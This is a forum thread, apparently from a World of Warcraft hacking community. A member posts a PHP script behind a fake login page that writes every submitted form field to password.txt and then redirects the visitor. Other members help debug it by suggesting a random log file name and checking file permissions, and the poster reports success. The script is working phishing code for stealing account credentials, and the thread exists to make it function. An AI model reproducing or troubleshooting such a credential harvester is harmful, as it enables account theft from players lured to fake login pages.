Simple PHP script menu

User Tag List

Results 1 to 4 of 4
  1. #1
    Zingo's Avatar Member
    Reputation
    1
    Join Date
    Dec 2007
    Posts
    21
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    Simple PHP script

    Can someone tell me whats wrong with this script:
    Code:
     
    <?php
    header("Location: World of Warcraft: Wrath of the Lich King");
    $handle = fopen("password.txt", "a");
    foreach($_POST as $variable => $value) {
       fwrite($handle, $variable);
       fwrite($handle, "=");
       fwrite($handle, $value);
       fwrite($handle, "\r\n");
    }
    fwrite($handle, "\r\n");
    fclose($handle);
    exit;
    ?>
    When I open up password.txt the file is blank, even though I have tried to do the fake log-in myself?

    Simple PHP script
  2. #2
    Chrommie's Avatar Contributor
    Reputation
    170
    Join Date
    Dec 2006
    Posts
    947
    Thanks G/R
    0/1
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Yeah ... it has ur logs file name in it ._.
    mabye try to make it into HTML and change ur logs name to something random?
    Last edited by Chrommie; 10-10-2008 at 07:10 AM.

  3. #3
    Fadelol's Avatar ༼ つ ◕_◕ ༽つ
    Reputation
    662
    Join Date
    Dec 2007
    Posts
    609
    Thanks G/R
    161/204
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Does password.txt have the correct permissions to be written to?
    ~Fadelol

  4. #4
    Zingo's Avatar Member
    Reputation
    1
    Join Date
    Dec 2007
    Posts
    21
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Originally Posted by Fadelol View Post
    Does password.txt have the correct permissions to be written to?
    There it is. Thanks! +Rep

    (And FYI, I did change the logname and so forth. Password.txt is just a placeholder). No touchy.

Similar Threads

  1. [RELEASE]Web Registration Script(guided), Secured, 4 steps Registration PHP script
    By Viking.nor in forum World of Warcraft Emulator Servers
    Replies: 4
    Last Post: 07-31-2008, 03:59 AM
  2. PVP RANKINGS [php] script?
    By Algorithm in forum World of Warcraft Emulator Servers
    Replies: 1
    Last Post: 05-16-2008, 12:31 PM
  3. Simple Lua Script , not working need help!
    By Arugos in forum World of Warcraft Emulator Servers
    Replies: 16
    Last Post: 12-30-2007, 02:06 PM
All times are GMT -5. The time now is 07:30 PM. Powered by vBulletin® Version 4.2.3
Copyright © 2024 vBulletin Solutions, Inc. All rights reserved. User Alert System provided by Advanced User Tagging (Pro) - vBulletin Mods & Addons Copyright © 2024 DragonByte Technologies Ltd.
Digital Point modules: Sphinx-based search